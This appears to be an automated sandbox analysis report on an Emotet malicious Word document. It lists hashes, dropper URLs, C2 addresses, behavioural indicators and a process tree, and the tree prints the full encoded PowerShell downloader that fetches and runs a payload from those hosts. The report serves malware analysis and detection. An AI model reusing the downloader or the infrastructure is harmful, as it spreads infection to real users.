emotet | 9f167db76385e6fdaaf25e09eec9d249b2b95320ddd9f88605fcbd90d5ec7b43

General

Target
emotet_e3_9f167db76385e6fdaaf25e09eec9d249b2b95320ddd9f88605fcbd90d5ec7b43_2020-08-19__101742._doc.doc
Size 200KB
Sample200819-ylc9mnkfe6
SHA256 9f167db76385e6fdaaf25e09eec9d249b2b95320ddd9f88605fcbd90d5ec7b43
MD5 cf8b76b4f986656375f0644e306ea864
SHA1 3c5dfdd531a8b4960d5a241b327073bf31970b91
SHA512 354891011da1801e8b3df5f4743cefba1bc9056708dd7e0790e4f7d4969cf4661d22d742b255bd582c8f85a08cb85056c008e6a3c3c073c2fd2dd9c1e71fc661
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://www.arkaneod.com/q1nn7k21w463/
exe.dropper
http://archabits.com/content/gcUPYiHZ/
exe.dropper
http://binarystationary.com/cgi-bin/XXPUJqn/
exe.dropper
https://mewolters.nl/tmp/Y5zkijmonrvx4707593/
exe.dropper
http://abcxyzsuperstore.com/temp/2ruqzzb6sx6774986/
exe.dropper
http://www.ashraebangalore.org/wp-admin/R3Vc7f4fhhv56933/
exe.dropper
http://binaryprintingsolutions.co.in/cgi-bin/OFH/

Extracted

Family

emotet

C2

112.78.142.170:80
178.128.14.92:8080
178.238.232.46:443
185.142.236.163:443
192.210.217.94:8080
192.241.220.183:8080
105.209.235.113:8080
182.187.139.200:8080
188.0.135.237:80
201.213.177.139:80
31.146.61.34:80
202.5.47.71:80
81.17.93.134:80
192.163.221.191:8080
97.104.107.190:80
201.235.10.215:80
181.114.114.203:80
51.38.201.19:7080
46.32.229.152:8080
177.144.130.105:443
188.251.213.180:443
91.83.93.103:443
118.70.15.19:8080
197.83.232.19:80
195.201.56.70:8080
172.105.78.244:8080
177.37.81.212:443
172.96.190.154:8080
177.32.8.85:80
107.161.30.122:8080
175.29.183.2:80
86.57.216.23:80
185.86.148.68:443
198.57.203.63:8080
115.79.195.246:80
177.94.227.143:80
50.116.78.109:8080
181.134.9.162:80
92.24.51.238:80
197.249.6.179:443
87.106.231.60:8080
41.185.29.128:8080
78.189.60.109:443
81.214.253.80:443
77.74.78.80:443
105.213.67.88:80
143.95.101.72:8080
60.125.114.64:443
115.78.11.155:80
71.57.180.213:80
139.59.12.63:8080
203.153.216.178:7080
190.190.15.20:80
37.46.129.215:8080
190.53.144.120:80
203.153.216.182:7080
139.99.157.213:8080
86.98.143.163:80
178.33.167.120:8080
113.161.148.81:80
66.61.94.36:80
74.208.173.91:8080
157.7.164.178:8081
190.212.140.6:80
217.199.160.224:8080
46.105.131.68:8080
185.208.226.142:8080
179.62.238.49:80
179.5.118.12:80
216.75.37.196:8080
181.113.229.139:443
190.164.75.175:80
212.112.113.235:80
5.79.70.250:8080
75.127.14.170:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1616	576	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3528-17-0x0000000000510000-0x000000000051C000-memory.dmp	emotet
behavioral2/memory/3528-17-0x0000000000510000-0x000000000051C000-memory.dmp	emotet
behavioral2/memory/1540-20-0x0000000002110000-0x000000000211C000-memory.dmp	emotet
behavioral2/memory/1540-20-0x0000000002110000-0x000000000211C000-memory.dmp	emotet

Blacklisted process makes network request 3 IoCs

flow	pid	Process
25	1616	powersheLL.exe
27	1616	powersheLL.exe
29	1616	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3528	Mfkj95nt.exe
1540	ELSCore.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\DMAlertListener.ProxyStub\ELSCore.exe	Mfkj95nt.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
336	WINWORD.EXE
336	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1616	powersheLL.exe
1616	powersheLL.exe
1616	powersheLL.exe
1540	ELSCore.exe
1540	ELSCore.exe
1540	ELSCore.exe
1540	ELSCore.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1616	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
336	WINWORD.EXE
336	WINWORD.EXE
336	WINWORD.EXE
336	WINWORD.EXE
336	WINWORD.EXE
336	WINWORD.EXE
336	WINWORD.EXE
336	WINWORD.EXE
336	WINWORD.EXE
3528	Mfkj95nt.exe
3528	Mfkj95nt.exe
1540	ELSCore.exe
1540	ELSCore.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1616 wrote to memory of 3528	1616	powersheLL.exe	77
PID 1616 wrote to memory of 3528	1616	powersheLL.exe	77
PID 1616 wrote to memory of 3528	1616	powersheLL.exe	77
PID 3528 wrote to memory of 1540	3528	Mfkj95nt.exe	78
PID 3528 wrote to memory of 1540	3528	Mfkj95nt.exe	78
PID 3528 wrote to memory of 1540	3528	Mfkj95nt.exe	78

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_9f167db76385e6fdaaf25e09eec9d249b2b95320ddd9f88605fcbd90d5ec7b43_2020-08-19__101742._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:336

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABJAGcAcABnAGQAXwA4AD0AKAAnAEgANwB1ACcAKwAnAHMAdgBxACcAKwAnAG0AJwApADsAJgAoACcAbgAnACsAJwBlAHcALQBpAHQAJwArACcAZQBtACcAKQAgACQARQBuAFYAOgB0AEUAbQBQAFwATwBmAEYAaQBjAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIAZQBDAFQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBjAGAAVQBgAFIASQBUAFkAUABSAG8AYABUAE8AYABDAG8ATAAiACAAPQAgACgAJwB0AGwAcwAxADIALAAnACsAJwAgAHQAbAAnACsAJwBzADEAMQAsACcAKwAnACAAJwArACcAdAAnACsAJwBsAHMAJwApADsAJABKAHYAdAB5AG0AbQBsACAAPQAgACgAJwBNAGYAawBqACcAKwAnADkANQBuAHQAJwApADsAJABLADUANQBlAGIAZwBvAD0AKAAnAEcAJwArACcAagB2AGQAdwBfAGEAJwApADsAJABBAHUAXwBpAHkANwBkAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwB7ADAAJwArACcAfQBPACcAKwAnAGYAZgBpAGMAZQAyACcAKwAnADAAMQA5AHsAMAAnACsAJwB9ACcAKQAgAC0ARgAgAFsAQwBoAGEAUgBdADkAMgApACsAJABKAHYAdAB5AG0AbQBsACsAKAAnAC4AJwArACcAZQB4AGUAJwApADsAJABIADAANABsAHcAdQA5AD0AKAAnAFYAZgBoAGMAYwA2ACcAKwAnAHQAJwApADsAJABGAGsAaQBsADQAOABiAD0AJgAoACcAbgBlAHcALQAnACsAJwBvAGIAJwArACcAagBlAGMAdAAnACkAIABOAEUAdAAuAFcARQBCAGMATABpAGUAbgB0ADsAJABLADYAcwBoAHAAeAAxAD0AKAAnAGgAdAAnACsAJwB0ACcAKwAnAHAAOgAvACcAKwAnAC8AdwB3AHcAJwArACcALgBhAHIAawAnACsAJwBhAG4AZQBvACcAKwAnAGQALgBjAG8AbQAnACsAJwAvAHEAMQBuAG4ANwBrADIAMQAnACsAJwB3ADQANgAzAC8AKgAnACsAJwBoAHQAdAAnACsAJwBwACcAKwAnADoALwAvAGEAcgAnACsAJwBjAGgAYQBiAGkAdAAnACsAJwBzAC4AYwAnACsAJwBvAG0ALwBjACcAKwAnAG8AbgB0ACcAKwAnAGUAbgB0AC8AZwBjACcAKwAnAFUAUABZAGkASABaACcAKwAnAC8AKgBoAHQAJwArACcAdAAnACsAJwBwADoALwAvAGIAJwArACcAaQBuACcAKwAnAGEAcgAnACsAJwB5AHMAdABhAHQAaQBvAG4AJwArACcAYQByAHkAJwArACcALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBYAFgAUABVAEoAcQBuAC8AKgBoACcAKwAnAHQAdABwACcAKwAnAHMAOgAvAC8AbQBlAHcAJwArACcAbwBsAHQAZQAnACsAJwByAHMALgBuAGwALwB0AG0AcAAvAFkAJwArACcANQB6AGsAaQBqAG0AbwBuAHIAdgB4ADQANwAwACcAKwAnADcANQA5ADMALwAqACcAKwAnAGgAdAB0ACcAKwAnAHAAJwArACcAOgAvACcAKwAnAC8AYQBiAGMAeAB5AHoAcwB1ACcAKwAnAHAAZQByAHMAdABvAHIAZQAuACcAKwAnAGMAbwBtAC8AdABlAG0AcAAnACsAJwAvADIAcgB1AHEAegB6AGIAJwArACcANgBzAHgANgA3ADcAJwArACcANAAnACsAJwA5ADgAJwArACcANgAvACcAKwAnACoAaAAnACsAJwB0AHQAJwArACcAcAA6AC8ALwB3AHcAdwAuAGEAcwBoAHIAYQBlAGIAYQBuACcAKwAnAGcAYQBsAG8AJwArACcAcgBlACcAKwAnAC4AbwByACcAKwAnAGcALwB3AHAALQBhACcAKwAnAGQAbQBpAG4ALwBSADMAVgBjADcAZgAnACsAJwA0AGYAJwArACcAaABoAHYANQA2ADkAMwAzAC8AJwArACcAKgBoAHQAdABwACcAKwAnADoALwAvACcAKwAnAGIAaQBuAGEAcgB5AHAAcgBpACcAKwAnAG4AdABpAG4AZwBzAG8AbAB1AHQAaQAnACsAJwBvAG4AJwArACcAcwAuAGMAbwAuAGkAbgAvAGMAZwBpAC0AYgAnACsAJwBpAG4ALwBPAEYASAAvACcAKQAuACIAcwBQAGAATABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABYAHAAegBmAGMAdwBpAD0AKAAnAEUANABtACcAKwAnAGcAMwB3ACcAKwAnADcAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAVABhAF8AdgAyAHMANAAgAGkAbgAgACQASwA2AHMAaABwAHgAMQApAHsAdAByAHkAewAkAEYAawBpAGwANAA4AGIALgAiAEQAbwBgAHcATgBgAEwATwBhAEQAZgBJAGAATABlACIAKAAkAFQAYQBfAHYAMgBzADQALAAgACQAQQB1AF8AaQB5ADcAZAApADsAJABHAHcAeQA2AHYAaABmAD0AKAAnAFcAdgBqACcAKwAnADcAMABtACcAKwAnAHgAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQB0ACcAKwAnAGUAbQAnACkAIAAkAEEAdQBfAGkAeQA3AGQAKQAuACIATABgAGUATgBHAHQASAAiACAALQBnAGUAIAAyADcAOAA2ADgAKQAgAHsALgAoACcASQBuACcAKwAnAHYAbwBrAGUAJwArACcALQAnACsAJwBJAHQAZQBtACcAKQAoACQAQQB1AF8AaQB5ADcAZAApADsAJABUAGgAZwBrADcAdQB5AD0AKAAnAEMAZwAnACsAJwA0AGgAMwByAGoAJwApADsAYgByAGUAYQBrADsAJABBADQAcQBoAHkAaQB6AD0AKAAnAFYAawAnACsAJwByAG0AbQAyADUAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABZAHEAYQBvAHoANwBvAD0AKAAnAFoAZQBzACcAKwAnAGIAbQB4ACcAKwAnAGUAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1616
- C:\Users\Admin\AppData\Local\Temp\Office2019\Mfkj95nt.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Mfkj95nt.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3528
- - C:\Windows\SysWOW64\DMAlertListener.ProxyStub\ELSCore.exe
    "C:\Windows\SysWOW64\DMAlertListener.ProxyStub\ELSCore.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1540

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/336-0-0x00007FF9AB060000-0x00007FF9AB726000-memory.dmp

Download

memory/336-5-0x00000267272B1000-0x00000267272B4000-memory.dmp

Download

memory/1540-20-0x0000000002110000-0x000000000211C000-memory.dmp

Download

memory/1616-11-0x00007FF9A3110000-0x00007FF9A3AFC000-memory.dmp

Download

memory/1616-12-0x0000014E73F40000-0x0000014E73F41000-memory.dmp

Download

memory/1616-13-0x0000014E74210000-0x0000014E74211000-memory.dmp

Download

memory/3528-17-0x0000000000510000-0x000000000051C000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads